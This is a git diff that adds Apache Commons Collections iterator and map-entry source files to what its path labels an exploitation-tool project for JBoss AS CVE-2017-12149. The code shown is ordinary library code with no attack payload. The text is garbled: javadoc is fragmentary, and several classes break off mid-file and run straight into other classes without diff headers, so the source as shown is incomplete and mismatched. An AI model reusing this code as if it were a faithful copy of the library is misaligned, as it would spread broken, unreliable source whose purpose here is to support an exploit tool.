+ throw new NullPointerException("Iterator must not be null");
+ }
+ this.iterator = iterator;
+ }
+
+ // ListIterator interface
+ //-------------------------------------------------------------------------
+
+ /**
+ * Throws {@link UnsupportedOperationException}.
+ *
+ * @param o ignored
+ * @throws UnsupportedOperationException always
+ */
+ public void add(Object o) throws UnsupportedOperationException {
+ throw new UnsupportedOperationException(UNSUPPORTED_OPERATION_MESSAGE);
+ }
+
+
+ /**
+ * Returns true if there are more elements in the iterator.
+ *
+ * @return true if there are more elements
+ */
+ public boolean hasNext() {
+ if (currentIndex == wrappedIteratorIndex) {
+ return iterator.hasNext();
+ }
+
+ return true;
+ }
+
+ /**
+ * Returns true if there are previous elements in the iterator.
+ *
+ * @return true if there are previous elements
+ */
+ public boolean hasPrevious() {
+ if (currentIndex == 0) {
+ return false;
+ }
+
+ return true;
+ }
+
+ /**
+ * Returns the next element from the iterator.
+ *
+ * @return the next element from the iterator
+ * @throws NoSuchElementException if there are no more elements
+ */
+ public Object next() throws NoSuchElementException {
+ if (currentIndex < wrappedIteratorIndex) {
+ ++currentIndex;
+ return list.get(currentIndex - 1);
+ }
+
+ Object retval = iterator.next();
+ list.add(retval);
+ ++currentIndex;
+ ++wrappedIteratorIndex;
+ return retval;
+ }
+
+ /**
+ * Returns in the index of the next element.
+ *
+ * @return the index of the next element
+ */
+ public int nextIndex() {
+ return currentIndex;
+ }
+
+ /**
+ * Returns the the previous element.
+ *
+ * @return the previous element
+ * @throws NoSuchElementException if there are no previous elements
+ */
+ public Object previous() throws NoSuchElementException {
+ if (currentIndex == 0) {
+ throw new NoSuchElementException();
+ }
+
+ --currentIndex;
+ return list.get(currentIndex);
+ }
+
+ /**
+ * Returns the index of the previous element.
+ *
+ * @return the index of the previous element
+ */
+ public int previousIndex() {
+ return currentIndex - 1;
+ }
+
+ /**
+ * Throws {@link UnsupportedOperationException}.
+ *
+ * @throws UnsupportedOperationException always
+ */
+ public void remove() throws UnsupportedOperationException {
+ throw new UnsupportedOperationException(UNSUPPORTED_OPERATION_MESSAGE);
+ }
+
+ /**
+ * Throws {@link UnsupportedOperationException}.
+ *
+ * @param o ignored
+ * @throws UnsupportedOperationException always
+ */
+ public void set(Object o) throws UnsupportedOperationException {
+ throw new UnsupportedOperationException(UNSUPPORTED_OPERATION_MESSAGE);
+ }
+
+}
+
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/LoopingIterator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/LoopingIterator.java"
new file mode 100644
index 0000000..2a26928
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/LoopingIterator.java"
@@ -0,0 +1,126 @@
+/*
+ * Copyright 1999-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.NoSuchElementException;
+
+import org.apache.commons.collections.ResettableIterator;
+
+/**
+ * An Iterator that restarts when it reaches the end.
+ * true
if there are more elements
+ */
+ public boolean hasNext() {
+ return (collection.size() > 0);
+ }
+
+ /**
+ * Returns the next object in the collection.
+ * setArray
.
+ * array
is null
+ */
+ public ObjectArrayIterator(Object[] array) {
+ this(array, 0, array.length);
+ }
+
+ /**
+ * Constructs an ObjectArrayIterator that will iterate over the values in the
+ * specified array from a specific start index.
+ *
+ * @param array the array to iterate over
+ * @param start the index to start iterating at
+ * @throws NullPointerException if array
is null
+ * @throws IndexOutOfBoundsException if the start index is out of bounds
+ */
+ public ObjectArrayIterator(Object array[], int start) {
+ this(array, start, array.length);
+ }
+
+ /**
+ * Construct an ObjectArrayIterator that will iterate over a range of values
+ * in the specified array.
+ *
+ * @param array the array to iterate over
+ * @param start the index to start iterating at
+ * @param end the index (exclusive) to finish iterating at
+ * @throws IndexOutOfBoundsException if the start or end index is out of bounds
+ * @throws IllegalArgumentException if end index is before the start
+ * @throws NullPointerException if array
is null
+ */
+ public ObjectArrayIterator(Object array[], int start, int end) {
+ super();
+ if (start < 0) {
+ throw new ArrayIndexOutOfBoundsException("Start index must not be less than zero");
+ }
+ if (end > array.length) {
+ throw new ArrayIndexOutOfBoundsException("End index must not be greater than the array length");
+ }
+ if (start > array.length) {
+ throw new ArrayIndexOutOfBoundsException("Start index must not be greater than the array length");
+ }
+ if (end < start) {
+ throw new IllegalArgumentException("End index must not be less than start index");
+ }
+ this.array = array;
+ this.startIndex = start;
+ this.endIndex = end;
+ this.index = start;
+ }
+
+ // Iterator interface
+ //-------------------------------------------------------------------------
+
+ /**
+ * Returns true if there are more elements to return from the array.
+ *
+ * @return true if there is a next element to return
+ */
+ public boolean hasNext() {
+ return (this.index < this.endIndex);
+ }
+
+ /**
+ * Returns the next element in the array.
+ *
+ * @return the next element in the array
+ * @throws NoSuchElementException if all the elements in the array
+ * have already been returned
+ */
+ public Object next() {
+ if (hasNext() == false) {
+ throw new NoSuchElementException();
+ }
+ return this.array[this.index++];
+ }
+
+ /**
+ * Throws {@link UnsupportedOperationException}.
+ *
+ * @throws UnsupportedOperationException always
+ */
+ public void remove() {
+ throw new UnsupportedOperationException("remove() method is not supported for an ObjectArrayIterator");
+ }
+
+ // Properties
+ //-------------------------------------------------------------------------
+
+ /**
+ * Gets the array that this iterator is iterating over.
+ *
+ * @return the array this iterator iterates over, or null
if
+ * the no-arg constructor was used and {@link #setArray} has never
+ * been called with a valid array.
+ */
+ public Object[] getArray() {
+ return this.array;
+ }
+
+ /**
+ * Sets the array that the ArrayIterator should iterate over.
+ * array
was set in the constructor
+ * @throws NullPointerException if array
is null
+ */
+ public void setArray(Object[] array) {
+ if (this.array != null) {
+ throw new IllegalStateException("The array to iterate over has already been set");
+ }
+ this.array = array;
+ this.startIndex = 0;
+ this.endIndex = array.length;
+ this.index = 0;
+ }
+
+ /**
+ * Gets the start index to loop from.
+ *
+ * @return the start index
+ */
+ public int getStartIndex() {
+ return this.startIndex;
+ }
+
+ /**
+ * Gets the end index to loop to.
+ *
+ * @return the end index
+ */
+ public int getEndIndex() {
+ return this.endIndex;
+ }
+
+ /**
+ * Resets the iterator back to the start index.
+ */
+ public void reset() {
+ this.index = this.startIndex;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ObjectArrayListIterator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ObjectArrayListIterator.java"
new file mode 100644
index 0000000..ba68711
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ObjectArrayListIterator.java"
@@ -0,0 +1,205 @@
+/*
+ * Copyright 1999-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import java.util.ListIterator;
+import java.util.NoSuchElementException;
+
+import org.apache.commons.collections.ResettableListIterator;
+
+/**
+ * Implements a {@link ListIterator} over an array of objects.
+ * next()
+ * or previous()
. This is set to -1
if neither method
+ * has yet been invoked. lastItemIndex
is used to to implement the
+ * {@link #set} method.
+ */
+ protected int lastItemIndex = -1;
+
+ /**
+ * Constructor for use with setArray
.
+ * array
is null
+ */
+ public ObjectArrayListIterator(Object[] array) {
+ super(array);
+ }
+
+ /**
+ * Constructs an ObjectArrayListIterator that will iterate over the values in the
+ * specified array from a specific start index.
+ *
+ * @param array the array to iterate over
+ * @param start the index to start iterating at
+ * @throws NullPointerException if array
is null
+ * @throws IndexOutOfBoundsException if the start index is out of bounds
+ */
+ public ObjectArrayListIterator(Object[] array, int start) {
+ super(array, start);
+ }
+
+ /**
+ * Construct an ObjectArrayListIterator that will iterate over a range of values
+ * in the specified array.
+ *
+ * @param array the array to iterate over
+ * @param start the index to start iterating at
+ * @param end the index (exclusive) to finish iterating at
+ * @throws IndexOutOfBoundsException if the start or end index is out of bounds
+ * @throws IllegalArgumentException if end index is before the start
+ * @throws NullPointerException if array
is null
+ */
+ public ObjectArrayListIterator(Object[] array, int start, int end) {
+ super(array, start, end);
+ }
+
+ // ListIterator interface
+ //-------------------------------------------------------------------------
+
+ /**
+ * Returns true if there are previous elements to return from the array.
+ *
+ * @return true if there is a previous element to return
+ */
+ public boolean hasPrevious() {
+ return (this.index > this.startIndex);
+ }
+
+ /**
+ * Gets the previous element from the array.
+ *
+ * @return the previous element
+ * @throws NoSuchElementException if there is no previous element
+ */
+ public Object previous() {
+ if (hasPrevious() == false) {
+ throw new NoSuchElementException();
+ }
+ this.lastItemIndex = --this.index;
+ return this.array[this.index];
+ }
+
+ /**
+ * Gets the next element from the array.
+ *
+ * @return the next element
+ * @throws NoSuchElementException if there is no next element
+ */
+ public Object next() {
+ if (hasNext() == false) {
+ throw new NoSuchElementException();
+ }
+ this.lastItemIndex = this.index;
+ return this.array[this.index++];
+ }
+
+ /**
+ * Gets the next index to be retrieved.
+ *
+ * @return the index of the item to be retrieved next
+ */
+ public int nextIndex() {
+ return this.index - this.startIndex;
+ }
+
+ /**
+ * Gets the index of the item to be retrieved if {@link #previous()} is called.
+ *
+ * @return the index of the item to be retrieved next
+ */
+ public int previousIndex() {
+ return this.index - this.startIndex - 1;
+ }
+
+ /**
+ * This iterator does not support modification of its backing array's size, and so will
+ * always throw an {@link UnsupportedOperationException} when this method is invoked.
+ *
+ * @param obj the object to add
+ * @throws UnsupportedOperationException always thrown.
+ */
+ public void add(Object obj) {
+ throw new UnsupportedOperationException("add() method is not supported");
+ }
+
+ /**
+ * Sets the element under the cursor.
+ * add()
+ * and remove()
only allow set()
to be called once per call
+ * to next()
or previous
(see the {@link ListIterator}
+ * javadoc for more details). Since this implementation does not support
+ * add()
or remove()
, set()
may be
+ * called as often as desired.
+ *
+ * @param obj the object to set into the array
+ * @throws IllegalStateException if next() has not yet been called.
+ * @throws ClassCastException if the object type is unsuitable for the array
+ */
+ public void set(Object obj) {
+ if (this.lastItemIndex == -1) {
+ throw new IllegalStateException("must call next() or previous() before a call to set()");
+ }
+
+ this.array[this.lastItemIndex] = obj;
+ }
+
+ /**
+ * Resets the iterator back to the start index.
+ */
+ public void reset() {
+ super.reset();
+ this.lastItemIndex = -1;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ObjectGraphIterator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ObjectGraphIterator.java"
new file mode 100644
index 0000000..c45f176
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ObjectGraphIterator.java"
@@ -0,0 +1,253 @@
+/*
+ * Copyright 2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import java.util.Iterator;
+import java.util.NoSuchElementException;
+
+import org.apache.commons.collections.ArrayStack;
+import org.apache.commons.collections.Transformer;
+
+/**
+ * An Iterator that can traverse multiple iterators down an object graph.
+ * Transformer
to extract the iterators and elements.
+ * Its main benefit is that no intermediate List
is created.
+ *
+ * |- Branch -- Leaf
+ * | \- Leaf
+ * |- Tree | /- Leaf
+ * | |- Branch -- Leaf
+ * Forest | \- Leaf
+ * | |- Branch -- Leaf
+ * | | \- Leaf
+ * |- Tree | /- Leaf
+ * |- Branch -- Leaf
+ * |- Branch -- Leaf
+ * The following Transformer
, used in this class, will extract all
+ * the Leaf objects without creating a combined intermediate list:
+ *
+ * public Object transform(Object input) {
+ * if (input instanceof Forest) {
+ * return ((Forest) input).treeIterator();
+ * }
+ * if (input instanceof Tree) {
+ * return ((Tree) input).branchIterator();
+ * }
+ * if (input instanceof Branch) {
+ * return ((Branch) input).leafIterator();
+ * }
+ * if (input instanceof Leaf) {
+ * return input;
+ * }
+ * throw new ClassCastException();
+ * }
+ * ProxyIterator
that will not function
+ * until {@link #setIterator(Iterator)} is called.
+ */
+ public ProxyIterator() {
+ super();
+ }
+
+ /**
+ * Constructs a new ProxyIterator
that will use the
+ * given iterator.
+ *
+ * @param iterator the underlying iterator
+ */
+ public ProxyIterator(Iterator iterator) {
+ super();
+ this.iterator = iterator;
+ }
+
+ // Iterator interface
+ //-------------------------------------------------------------------------
+
+ /**
+ * Returns true if the underlying iterator has more elements.
+ *
+ * @return true if the underlying iterator has more elements
+ */
+ public boolean hasNext() {
+ return getIterator().hasNext();
+ }
+
+ /**
+ * Returns the next element from the underlying iterator.
+ *
+ * @return the next element from the underlying iterator
+ * @throws java.util.NoSuchElementException if the underlying iterator
+ * raises it because it has no more elements
+ */
+ public Object next() {
+ return getIterator().next();
+ }
+
+ /**
+ * Removes the last returned element from the collection that spawned
+ * the underlying iterator.
+ */
+ public void remove() {
+ getIterator().remove();
+ }
+
+ // Properties
+ //-------------------------------------------------------------------------
+ /** Getter for property iterator.
+ * @return Value of property iterator.
+ */
+ public Iterator getIterator() {
+ return iterator;
+ }
+ /** Setter for property iterator.
+ * @param iterator New value of property iterator.
+ */
+ public void setIterator(Iterator iterator) {
+ this.iterator = iterator;
+ }
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ProxyListIterator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ProxyListIterator.java"
new file mode 100644
index 0000000..d24c0bb
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ProxyListIterator.java"
@@ -0,0 +1,162 @@
+/*
+ * Copyright 1999-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import java.util.ListIterator;
+
+/**
+ * A proxy {@link ListIterator ListIterator} which delegates its
+ * methods to a proxy instance.
+ *
+ * @deprecated Use AbstractListIteratorDecorator. Will be removed in v4.0
+ * @since Commons Collections 2.0
+ * @version $Revision: 1.9 $ $Date: 2004/02/18 00:59:50 $
+ *
+ * @author Rodney Waldhoff
+ */
+public class ProxyListIterator implements ListIterator {
+
+ /** Holds value of property "iterator". */
+ private ListIterator iterator;
+
+ // Constructors
+ //-------------------------------------------------------------------------
+
+ /**
+ * Constructs a new ProxyListIterator
that will not
+ * function until {@link #setListIterator(ListIterator) setListIterator}
+ * is invoked.
+ */
+ public ProxyListIterator() {
+ super();
+ }
+
+ /**
+ * Constructs a new ProxyListIterator
that will use the
+ * given list iterator.
+ *
+ * @param iterator the list iterator to use
+ */
+ public ProxyListIterator(ListIterator iterator) {
+ super();
+ this.iterator = iterator;
+ }
+
+ // ListIterator interface
+ //-------------------------------------------------------------------------
+
+ /**
+ * Invokes the underlying {@link ListIterator#add(Object)} method.
+ *
+ * @throws NullPointerException if the underlying iterator is null
+ */
+ public void add(Object o) {
+ getListIterator().add(o);
+ }
+
+ /**
+ * Invokes the underlying {@link ListIterator#hasNext()} method.
+ *
+ * @throws NullPointerException if the underlying iterator is null
+ */
+ public boolean hasNext() {
+ return getListIterator().hasNext();
+ }
+
+ /**
+ * Invokes the underlying {@link ListIterator#hasPrevious()} method.
+ *
+ * @throws NullPointerException if the underlying iterator is null
+ */
+ public boolean hasPrevious() {
+ return getListIterator().hasPrevious();
+ }
+
+ /**
+ * Invokes the underlying {@link ListIterator#next()} method.
+ *
+ * @throws NullPointerException if the underlying iterator is null
+ */
+ public Object next() {
+ return getListIterator().next();
+ }
+
+ /**
+ * Invokes the underlying {@link ListIterator#nextIndex()} method.
+ *
+ * @throws NullPointerException if the underlying iterator is null
+ */
+ public int nextIndex() {
+ return getListIterator().nextIndex();
+ }
+
+ /**
+ * Invokes the underlying {@link ListIterator#previous()} method.
+ *
+ * @throws NullPointerException if the underlying iterator is null
+ */
+ public Object previous() {
+ return getListIterator().previous();
+ }
+
+ /**
+ * Invokes the underlying {@link ListIterator#previousIndex()} method.
+ *
+ * @throws NullPointerException if the underlying iterator is null
+ */
+ public int previousIndex() {
+ return getListIterator().previousIndex();
+ }
+
+ /**
+ * Invokes the underlying {@link ListIterator#remove()} method.
+ *
+ * @throws NullPointerException if the underlying iterator is null
+ */
+ public void remove() {
+ getListIterator().remove();
+ }
+
+ /**
+ * Invokes the underlying {@link ListIterator#set(Object)} method.
+ *
+ * @throws NullPointerException if the underlying iterator is null
+ */
+ public void set(Object o) {
+ getListIterator().set(o);
+ }
+
+ // Properties
+ //-------------------------------------------------------------------------
+
+ /**
+ * Getter for property iterator.
+ * @return Value of property iterator.
+ */
+ public ListIterator getListIterator() {
+ return iterator;
+ }
+
+ /**
+ * Setter for property iterator.
+ * @param iterator New value of property iterator.
+ */
+ public void setListIterator(ListIterator iterator) {
+ this.iterator = iterator;
+ }
+
+}
+
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/SingletonIterator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/SingletonIterator.java"
new file mode 100644
index 0000000..026256d
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/SingletonIterator.java"
@@ -0,0 +1,128 @@
+/*
+ * Copyright 1999-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import java.util.Iterator;
+import java.util.NoSuchElementException;
+
+import org.apache.commons.collections.ResettableIterator;
+
+/**
+ * SingletonIterator
is an {@link Iterator} over a single
+ * object instance.
+ *
+ * @since Commons Collections 2.0
+ * @version $Revision: 1.14 $ $Date: 2004/04/09 22:52:48 $
+ *
+ * @author James Strachan
+ * @author Stephen Colebourne
+ * @author Rodney Waldhoff
+ */
+public class SingletonIterator
+ implements Iterator, ResettableIterator {
+
+ /** Whether remove is allowed */
+ private final boolean removeAllowed;
+ /** Is the cursor before the first element */
+ private boolean beforeFirst = true;
+ /** Has the element been removed */
+ private boolean removed = false;
+ /** The object */
+ private Object object;
+
+ /**
+ * Constructs a new SingletonIterator
where remove
+ * is a permitted operation.
+ *
+ * @param object the single object to return from the iterator
+ */
+ public SingletonIterator(Object object) {
+ this(object, true);
+ }
+
+ /**
+ * Constructs a new SingletonIterator
optionally choosing if
+ * remove
is a permitted operation.
+ *
+ * @param object the single object to return from the iterator
+ * @param removeAllowed true if remove is allowed
+ * @since Commons Collections 3.1
+ */
+ public SingletonIterator(Object object, boolean removeAllowed) {
+ super();
+ this.object = object;
+ this.removeAllowed = removeAllowed;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Is another object available from the iterator?
+ * SingletonIterator
is an {@link ListIterator} over a single
+ * object instance.
+ *
+ * @since Commons Collections 2.1
+ * @version $Revision: 1.13 $ $Date: 2004/02/18 00:59:50 $
+ *
+ * @author Stephen Colebourne
+ * @author Rodney Waldhoff
+ */
+public class SingletonListIterator implements ListIterator, ResettableListIterator {
+
+ private boolean beforeFirst = true;
+ private boolean nextCalled = false;
+ private boolean removed = false;
+ private Object object;
+
+ /**
+ * Constructs a new SingletonListIterator
.
+ *
+ * @param object the single object to return from the iterator
+ */
+ public SingletonListIterator(Object object) {
+ super();
+ this.object = object;
+ }
+
+ /**
+ * Is another object available from the iterator?
+ * TransformIterator
that will not function
+ * until the {@link #setIterator(Iterator) setIterator} method is
+ * invoked.
+ */
+ public TransformIterator() {
+ super();
+ }
+
+ /**
+ * Constructs a new TransformIterator
that won't transform
+ * elements from the given iterator.
+ *
+ * @param iterator the iterator to use
+ */
+ public TransformIterator(Iterator iterator) {
+ super();
+ this.iterator = iterator;
+ }
+
+ /**
+ * Constructs a new TransformIterator
that will use the
+ * given iterator and transformer. If the given transformer is null,
+ * then objects will not be transformed.
+ *
+ * @param iterator the iterator to use
+ * @param transformer the transformer to use
+ */
+ public TransformIterator(Iterator iterator, Transformer transformer) {
+ super();
+ this.iterator = iterator;
+ this.transformer = transformer;
+ }
+
+ //-----------------------------------------------------------------------
+ public boolean hasNext() {
+ return iterator.hasNext();
+ }
+
+ /**
+ * Gets the next object from the iteration, transforming it using the
+ * current transformer. If the transformer is null, no transformation
+ * occurs and the object from the iterator is returned directly.
+ *
+ * @return the next object
+ * @throws java.util.NoSuchElementException if there are no more elements
+ */
+ public Object next() {
+ return transform(iterator.next());
+ }
+
+ public void remove() {
+ iterator.remove();
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the iterator this iterator is using.
+ *
+ * @return the iterator.
+ */
+ public Iterator getIterator() {
+ return iterator;
+ }
+
+ /**
+ * Sets the iterator for this iterator to use.
+ * If iteration has started, this effectively resets the iterator.
+ *
+ * @param iterator the iterator to use
+ */
+ public void setIterator(Iterator iterator) {
+ this.iterator = iterator;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the transformer this iterator is using.
+ *
+ * @return the transformer.
+ */
+ public Transformer getTransformer() {
+ return transformer;
+ }
+
+ /**
+ * Sets the transformer this the iterator to use.
+ * A null transformer is a no-op transformer.
+ *
+ * @param transformer the transformer to use
+ */
+ public void setTransformer(Transformer transformer) {
+ this.transformer = transformer;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Transforms the given object using the transformer.
+ * If the transformer is null, the original object is returned as-is.
+ *
+ * @param source the object to transform
+ * @return the transformed object
+ */
+ protected Object transform(Object source) {
+ if (transformer != null) {
+ return transformer.transform(source);
+ }
+ return source;
+ }
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/UniqueFilterIterator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/UniqueFilterIterator.java"
new file mode 100644
index 0000000..2b273a7
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/UniqueFilterIterator.java"
@@ -0,0 +1,45 @@
+/*
+ * Copyright 1999-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import java.util.Iterator;
+
+import org.apache.commons.collections.functors.UniquePredicate;
+
+/**
+ * A FilterIterator which only returns "unique" Objects. Internally,
+ * the Iterator maintains a Set of objects it has already encountered,
+ * and duplicate Objects are skipped.
+ *
+ * @since Commons Collections 2.1
+ * @version $Revision: 1.9 $ $Date: 2004/05/07 23:29:02 $
+ *
+ * @author Morgan Delagrange
+ */
+public class UniqueFilterIterator extends FilterIterator {
+
+ //-------------------------------------------------------------------------
+
+ /**
+ * Constructs a new UniqueFilterIterator
.
+ *
+ * @param iterator the iterator to use
+ */
+ public UniqueFilterIterator( Iterator iterator ) {
+ super(iterator, UniquePredicate.getInstance());
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/UnmodifiableIterator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/UnmodifiableIterator.java"
new file mode 100644
index 0000000..7ad1408
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/UnmodifiableIterator.java"
@@ -0,0 +1,78 @@
+/*
+ * Copyright 1999-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.iterators;
+
+import java.util.Iterator;
+
+import org.apache.commons.collections.Unmodifiable;
+
+/**
+ * Decorates an iterator such that it cannot be modified.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/02/18 00:59:50 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class UnmodifiableIterator implements Iterator, Unmodifiable {
+
+ /** The iterator being decorated */
+ private Iterator iterator;
+
+ //-----------------------------------------------------------------------
+ /**
+ * Decorates the specified iterator such that it cannot be modified.
+ * Map.Entry
to decorate */
+ protected final Map.Entry entry;
+
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param entry the Map.Entry
to decorate, must not be null
+ * @throws IllegalArgumentException if the collection is null
+ */
+ public AbstractMapEntryDecorator(Map.Entry entry) {
+ if (entry == null) {
+ throw new IllegalArgumentException("Map Entry must not be null");
+ }
+ this.entry = entry;
+ }
+
+ /**
+ * Gets the map being decorated.
+ *
+ * @return the decorated map
+ */
+ protected Map.Entry getMapEntry() {
+ return entry;
+ }
+
+ //-----------------------------------------------------------------------
+ public Object getKey() {
+ return entry.getKey();
+ }
+
+ public Object getValue() {
+ return entry.getValue();
+ }
+
+ public Object setValue(Object object) {
+ return entry.setValue(object);
+ }
+
+ public boolean equals(Object object) {
+ if (object == this) {
+ return true;
+ }
+ return entry.equals(object);
+ }
+
+ public int hashCode() {
+ return entry.hashCode();
+ }
+
+ public String toString() {
+ return entry.toString();
+ }
+
+}
